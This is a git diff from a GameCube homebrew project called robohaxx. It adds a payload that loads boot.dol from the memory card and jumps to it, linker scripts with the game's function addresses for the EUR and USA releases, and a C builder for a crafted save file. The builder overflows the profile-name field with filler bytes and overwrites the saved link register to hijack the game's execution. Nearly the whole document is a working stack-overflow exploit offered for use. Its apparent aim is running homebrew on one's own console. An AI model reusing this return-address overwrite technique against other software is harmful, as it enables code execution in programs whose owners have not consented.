one loop, should be fine +static inline void ARAM_DMA(u32 direction, u32 mram, u32 aram, u32 len) { + *(vu16 *)0xCC005020 = (mram >> 16); + *(vu16 *)0xCC005022 = (mram & 0xFFFF); + *(vu16 *)0xCC005024 = (aram >> 16); + *(vu16 *)0xCC005026 = (aram & 0xFFFF); + *(vu16 *)0xCC005028 = (direction << 15) | (direction >> 16); + *(vu16 *)0xCC00502A = (len & 0xFFFF); + while (*(vu16 *)0xCC00500A & 0x200); +} + +void _start() { + CARDFileInfo fileInfo; + CARDFileStatus fileStatus; + u32 readOffset = 0; + int i = 0; + + // get game to shut up + OSDisableInterrupts(); + __OSStopAudioSystem(); + GXDrawDone(); + + // set gameid in RAM to DOLX00 so we can load the boot.dol save + *(vu32 *)0x80000000 = 0x444F4C58; + *(vu16 *)0x80000004 = 0x3030; + DCFlushRange((void*)0x80000000, 0x20); + + // find boot.dol on the memory card and open it + for (i = 0; i < 127; i++) { + if (CARDGetStatus(CARD_A, i, &fileStatus) != 0) + continue; + if (_memcmp(fileStatus.name, "boot.dol", 9) == 0) + break; + } + CARDFastOpen(CARD_A, i, &fileInfo); + // continually read it until we get an error, copying into ARAM + while (CARDRead(&fileInfo, (void*)WORK_ADDR, 0x200, readOffset) == 0) { + DCFlushRange((void*)WORK_ADDR, 0x200); + ARAM_DMA(0, VirtToPhys(WORK_ADDR), readOffset, 0x200); + readOffset += 0x200; + } + // unmount the card, we're done + CARDClose(&fileInfo); + CARDUnmount(CARD_A); + + // copy the DOL loader into the spare interrupt vectors + _memcpy((void*)WORK_ADDR, (void*)loader, loader_size); + DCFlushRange((void*)WORK_ADDR, loader_size); + // jump! (if WORK_ADDR is changed, change this too) + __asm__ volatile( + "lis 3, 0x8000\n" + "ori 3, 3, 0x1800\n" + "mtlr 3\n" + "blr\n" + ); + + // gcc, we shouldn't be here + __builtin_unreachable(); +} diff --git a/gc_payload/robohaxx-EUR.ld b/gc_payload/robohaxx-EUR.ld new file mode 100644 index 0000000..c74f5ce --- /dev/null +++ b/gc_payload/robohaxx-EUR.ld @@ -0,0 +1,28 @@ +OUTPUT_FORMAT("elf32-powerpc") +OUTPUT_ARCH(powerpc:common) + +SECTIONS { + /* Game functions (GRBP6S) */ + OSDisableInterrupts = 0x80026c6c; + __OSStopAudioSystem = 0x80024958; + GXDrawDone = 0x8001c8cc; + DCFlushRange = 0x80024a70; + CARDGetStatus = 0x80012ca4; + CARDFastOpen = 0x80011b4c; + CARDRead = 0x800124d0; + CARDClose = 0x80011cac; + CARDUnmount = 0x8001118c; + _memcpy = 0x80003490; + _memcmp = 0x80032350; + + /* Space right after profile name in memory after save file is loaded. */ + . = 0x80E37750; + .robohaxx 0x80E37750+0 : + { + *.o(.start) + *(.text) + *(.rodata .rodata.*) + *(.data) + *(.bss) + } +} diff --git a/gc_payload/robohaxx-USA.ld b/gc_payload/robohaxx-USA.ld new file mode 100644 index 0000000..6d759b4 --- /dev/null +++ b/gc_payload/robohaxx-USA.ld @@ -0,0 +1,28 @@ +OUTPUT_FORMAT("elf32-powerpc") +OUTPUT_ARCH(powerpc:common) + +SECTIONS { + /* Game functions (GRBE6S) */ + OSDisableInterrupts = 0x800255B0; + __OSStopAudioSystem = 0x80023574; + GXDrawDone = 0x8001AD28; + DCFlushRange = 0x80023690; + CARDGetStatus = 0x80011920; + CARDFastOpen = 0x800107C8; + CARDRead = 0x8001114C; + CARDClose = 0x80010928; + CARDUnmount = 0x8000FDFC; + _memcpy = 0x80003490; + _memcmp = 0x8002F4FC; + + /* Space right after profile name in memory after save file is loaded. */ + . = 0x80E20370; + .robohaxx 0x80E20370+0 : + { + *.o(.start) + *(.text) + *(.rodata .rodata.*) + *(.data) + *(.bss) + } +} diff --git a/gci_builder_src/Makefile b/gci_builder_src/Makefile new file mode 100644 index 0000000..1c5c823 --- /dev/null +++ b/gci_builder_src/Makefile @@ -0,0 +1,18 @@ +TARGET := gci_builder +ifeq ($(OS),Windows_NT) + TARGET := $(addsuffix .exe,$(TARGET)) +endif + +SRC := gci_builder.c + +default: all + +$(TARGET): $(SRC) + $(CC) $(CFLAGS) -o $@ $< + +.PHONY: all +all: $(TARGET) + +.PHONY: clean +clean: + @-rm -f $(TARGET) diff --git a/gci_builder_src/endian_flip.h b/gci_builder_src/endian_flip.h new file mode 100644 index 0000000..6d31c82 --- /dev/null +++ b/gci_builder_src/endian_flip.h @@ -0,0 +1,17 @@ +#ifndef _ENDIAN_FLIP_H +#define _ENDIAN_FLIP_H + +#ifndef BIG_ENDIAN_PLATFORM +#define BE16(i) ((((i) & 0xFF) << 8 | ((i) >> 8) & 0xFF) & 0xFFFF) +#define BE(i) (((i) & 0xFF) << 24 | ((i) & 0xFF00) << 8 | ((i) & 0xFF0000) >> 8 | ((i) >> 24) & 0xFF) +#else +#define BE16(i) i +#define BE(i) i +#define BE64(i) i +#endif + +#define WriteBE8(target, value) target = value; +#define WriteBE16(target, value) target = BE16(value) +#define WriteBE32(target, value) target = BE(value) + +#endif // _ENDIAN_FLIP_H diff --git a/gci_builder_src/gci.h b/gci_builder_src/gci.h new file mode 100644 index 0000000..fb32a4d --- /dev/null +++ b/gci_builder_src/gci.h @@ -0,0 +1,29 @@ +#ifndef _GCI_H +#define _GCI_H + +#include + +typedef struct _GCIHeader_t { + char gamecode[4]; + char maker[2]; + uint8_t unused_always_ff; + uint8_t banner_flags; + char filename[0x20]; + uint32_t file_timestamp; + uint32_t image_offset; + uint8_t icon_fmt[2]; + uint8_t anim_speed[2]; + uint8_t permissions; + uint8_t copy_counter; + uint16_t first_block; + uint16_t num_blocks; + uint16_t unused_always_ffff; + uint32_t strings_offset; +} GCIHeader_t; + +typedef struct _GCIStrings_t { + char game_name[0x20]; + char save_name[0x20]; +} GCIStrings_t; + +#endif // _GCI_H diff --git a/gci_builder_src/gci_builder.c b/gci_builder_src/gci_builder.c new file mode 100644 index 0000000..3e05a90 --- /dev/null +++ b/gci_builder_src/gci_builder.c @@ -0,0 +1,205 @@ +#include +#include +#include +#include +#include +#include +#include +#include "gci.h" +#include "endian_flip.h" +#include "robotech_icon.h" + +// public domain CRC32 implementation +// source: https://web.archive.org/web/20171117063855/http://home.thep.lu.se/~bjorn/crc/crc32_simple.c +static uint32_t crc32_for_byte(uint32_t r) { + for(int j = 0; j < 8; ++j) + r = (r & 1? 0: (uint32_t)0xEDB88320L) ^ r >> 1; + return r ^ (uint32_t)0xFF000000L; +} +static uint32_t table[0x100]; +static void prepare_crc32_table() { + for(size_t i = 0; i < 0x100; ++i) + table[i] = crc32_for_byte(i); +} +static void crc32(const void *data, size_t n_bytes, uint32_t* crc) { + prepare_crc32_table(); + for(size_t i = 0; i < n_bytes; ++i) + *crc = table[(uint8_t)*crc ^ ((uint8_t*)data)[i]] ^ *crc >> 8; +} + +// !! this entire datatype must not contain any NULL bytes !! +typedef struct _RobohaxxOverflow_t { + char overflow[0x20C]; // if you did some silly XOR stuff you could probably put shellcode here + uint32_t r22_to_r31_save[10]; // some registers, if you really need + uint32_t prev_frame; // previous stack frame, probable junk + uint32_t lr_save; // the address of code to redirect to + uint32_t leftover; // corrupt another value, for fun! +} RobohaxxOverflow_t; + +#define SAVEGAME_DATA_LENGTH 0x19B8 +#define MAX_PAYLOAD_LENGTH SAVEGAME_DATA_LENGTH - 0x8 - sizeof(RobohaxxOverflow_t) + +// "structure" of the hacked save +typedef struct _RobohaxxSave_t { + uint32_t crc32; + uint32_t length; + union { + struct { + uint8_t unk[0x8]; + RobohaxxOverflow_t name; + uint8_t payload[MAX_PAYLOAD_LENGTH]; // max save length + } save; + uint8_t save_bytes[SAVEGAME_DATA_LENGTH]; + }; +} RobohaxxSave_t; + +// "structure" of the GCI file as a whole +typedef struct _RobohaxxGCI_t { + GCIHeader_t header; + uint8_t icon[0x400]; + uint8_t palette[0x200]; + GCIStrings_t strings; + RobohaxxSave_t savegame; +} RobohaxxGCI_t; + +#define NTSC_TARGET_ADDRESS 0x80E20370 +#define PAL_TARGET_ADDRESS 0x80E37750 +uint32_t target_address = 0; + +static char gamecode[] = "GRBx"; +static char maker[] = "6S"; +static char save_filename[] = "robohaxx"; +static char output_filename_buf[40]; + +static int print_usage(char *filename) { + printf("usage: %s [path to payload] [U/E] [optional output path, default 6S-GRBx-A.gci]\n", filename); + return -1; +} +static int print_error(char *error) { + fprintf(stderr, "error: %s\n", error); + return -1; +} + +int main(int argc, char **argv) { + // make sure the compiler didn't fuck up our code + if (sizeof(RobohaxxGCI_t) != 0x2040) + return print_error("sizeof(RobohaxxGCI_t) wasn't 0x2040, check your compiler"); + + printf("robohaxx GCI builder by InvoxiPlayGames\n" + "https://github.com/InvoxiPlayGames/robohaxx\n\n"); + if (argc < 3) + return print_usage(argv[0]); + + // make sure the provided region is correct, and set the target address + if (strlen(argv[2]) != 1) + return print_error("argument too long to be a region"); + if (argv[2][0] == 'E' || argv[2][0] == 'e') { + target_address = PAL_TARGET_ADDRESS; + gamecode[3] = 'P'; + } + else if (argv[2][0] == 'U' || argv[2][0] == 'u') { + target_address = NTSC_TARGET_ADDRESS; + gamecode[3] = 'E'; + } + else + return print_error("invalid region provided, must be E or U"); + printf("target address: %08x\n", target_address); + + + // read the payload file and get the filesize + FILE *payload_fp = fopen(argv[1], "rb"); + if (payload_fp == NULL) + return print_error("payload file could not be opened"); + fseek(payload_fp, 0, SEEK_END); + long payload_len = ftell(payload_fp); + fseek(payload_fp, 0, SEEK_SET); + // we can't have this + if (payload_len > MAX_PAYLOAD_LENGTH || payload_len < 4) + return print_error("payload file length must not exceed 6000 bytes"); + + printf("payload length: %li\n", payload_len); + + // allocate a buffer for the payload and read it + uint8_t *payload = malloc(payload_len); + if (payload == NULL) + return print_error("failed to allocate buffer for payload"); + if (fread(payload, 1, payload_len, payload_fp) < payload_len) + return print_error("failed to read entire payload into memory"); + fclose(payload_fp); + + // allocate a buffer for our GCI + RobohaxxGCI_t *gci = malloc(sizeof(RobohaxxGCI_t)); + if (gci == NULL) + return print_error("failed to allocate buffer for our GCI"); + // whoops! all zeroes + memset(gci, 0, sizeof(RobohaxxGCI_t)); + + // set up our GCI header + memcpy(gci->header.gamecode, gamecode, 4); + memcpy(gci->header.maker, maker, 2); + WriteBE8(gci->header.unused_always_ff, 0xFF); + WriteBE8(gci->header.banner_flags, 0x00); + strncpy(gci->header.filename, save_filename, sizeof(gci->header.filename)); + WriteBE32(gci->header.file_timestamp, 744494400); // time of first exploitation :) + WriteBE32(gci->header.image_offset, 0); // our image data comes right after this + WriteBE8(gci->header.icon_fmt[0], 0); // no banner, only an icon + WriteBE8(gci->header.anim_speed[0], 0); + WriteBE8(gci->header.icon_fmt[1], 0x01); // CI8 with single palette + WriteBE8(gci->header.anim_speed[1], 0x03); // 12 frames (non-animated) + WriteBE8(gci->header.permissions, 0x04) // the original save can't be copied + WriteBE8(gci->header.copy_counter, 0); + WriteBE16(gci->header.first_block, 5); // no idea, original save has 5..? + WriteBE16(gci->header.num_blocks, 1); + WriteBE16(gci->header.unused_always_ffff, 0xFFFF); + WriteBE32(gci->header.strings_offset, 0x600); // strings after image data + + // TODO: make our own fancy image data + memcpy(gci->icon, icon_data, sizeof(gci->icon)); + memcpy(gci->palette, icon_data + sizeof(gci->icon), sizeof(gci->palette)); + + // write out the savegame strings to show in the IPL + strncpy(gci->strings.game_name, "robohaxx: stackcry", 0x20); + strncpy(gci->strings.save_name, "exploit payload", 0x20); + + // scream into the stack + for (int i = 0; i < sizeof(gci->savegame.save.name.overflow); i++) + gci->savegame.save.name.overflow[i] = 'A'; + // fill the registers and such. unimportant but some payloads may want to make use of these + for (int i = 0; i < sizeof(gci->savegame.save.name.r22_to_r31_save) / 4; i++) + WriteBE32(gci->savegame.save.name.r22_to_r31_save[i], 0x42424242 + i); + WriteBE32(gci->savegame.save.name.prev_frame, 0x43434343); + // here's the link register, set it to where our payload is in the in-memory save + WriteBE32(gci->savegame.save.name.lr_save, target_address); + // now we copy our payload from earlier into the savegame + memcpy(gci->savegame.save.payload, payload, payload_len); + + // calculate the crc32 and set the length + uint32_t crc32_temp = 0; + crc32(gci->savegame.save_bytes, SAVEGAME_DATA_LENGTH, &crc32_temp); + WriteBE32(gci->savegame.crc32, crc32_temp); + WriteBE32(gci->savegame.length, SAVEGAME_DATA_LENGTH); + + printf("prepared savegame with crc32 %08x\n", crc32_temp); + + // output the GCI file + char *output_filename = output_filename_buf; + if (argc >= 4) + output_filename = argv[3]; + else + snprintf(output_filename_buf, sizeof(output_filename_buf), "%2s-%4s-%s.gci", maker, gamecode, save_filename); + printf("writing GCI to %s\n", output_filename); + + FILE *gci_fp = fopen(output_filename, "wb+"); + if (gci_fp == NULL) + return print_error("output file could not be opened"); + if (fwrite(gci, sizeof(RobohaxxGCI_t), 1, gci_fp) < 1) + return print_error("failed to write to output file"); + fclose(gci_fp); + + printf("successfully written output GCI!\n"); + + // clean up and free everything + free(gci); + free(payload); + return 0; +} diff --git a/gci_builder_src/robotech_icon.h b/gci_builder_src/robotech_icon.h new file mode 100644 index 0000000..fd483c5 --- /dev/null +++ b/gci_builder_src/robotech_icon.h @@ -0,0 +1,100 @@ +#define icon_data_length 0x600 + +const unsigned char icon_data[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x02, 0x08, 0x00, 0x00, 0x00, + 0x07, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x0B, 0x0E, 0x17, 0x13, 0x26, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x02, 0x03, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x07, 0x27, 0x1B, 0x0F, 0x0E, 0x0B, 0x05, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x01, 0x00, 0x06, + 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x10, 0x0D, 0x00, 0x00, 0x00, 0x04, 0x00, 0x06, 0x0D, 0xFA, + 0x00, 0x14, 0x16, 0xFF, 0xFA, 0x90, 0xAF, 0xC4, 0x0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 0x00, 0x00, 0x01, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x05, 0x15, 0x1F, 0x25, 0x13, 0x2D, 0x07, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x03, 0x02, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x23, 0x13, 0x17, 0x34, 0x1E, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x07, + 0x00, 0x00, 0x00, 0x08, 0x02, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x48, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x88, 0x00, 0x30, 0x00, 0x90, 0x00, + 0x00, 0x00, 0xC8, 0x00, 0x88, 0x00, 0xB8, 0x00, 0x08, 0x00, 0x00, 0x00, 0x88, 0x00, 0x90, 0x00, + 0xF0, 0x00, 0x80, 0x00, 0x48, 0x00, 0xB0, 0x20, 0xD9, 0x04, 0x38, 0x00, 0x00, 0x00, 0x20, 0x00, + 0x00, 0x00, 0x78, 0x00, 0x08, 0x00, 0xA0, 0x00, 0xC8, 0x00, 0x88, 0x00, 0xD1, 0x45, 0xA4, 0x30, + 0xF0, 0x00, 0x78, 0x00, 0xF0, 0x00, 0xC9, 0x04, 0x90, 0x00, 0xE0, 0x00, 0x28, 0x00, 0x08, 0x00, + 0x88, 0x61, 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0x28, 0x00, 0x08, 0x00, 0xF0, 0x00, 0x80, 0x00, + 0xF0, 0x00, 0x90, 0x00, 0x28, 0x00, 0x38, 0x00, 0x00, 0x00, 0x48, 0x20, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xC3, 0xD2, 0xAA, 0xDE, 0x59, 0xD9, 0x86, + 0xD5, 0x96, 0xD9, 0x65, 0x89, 0xC7, 0xD8, 0x82, 0xD1, 0x04, 0xF7, 0xFF, 0xE1, 0x45, 0xD2, 0x28, + 0xD3, 0xEF, 0xD4, 0xF3, 0xEF, 0x9E, 0xD3, 0x2C, 0xF7, 0xFF, 0xD7, 0x9E, 0xD8, 0xE3, 0xE5, 0x55, + 0xE0, 0xE3, 0xFF, 0xDF, 0xD5, 0x96, 0xD3, 0x0C, 0xF0, 0x41, 0xE0, 0x41, 0xE8, 0x00, 0xCC, 0x30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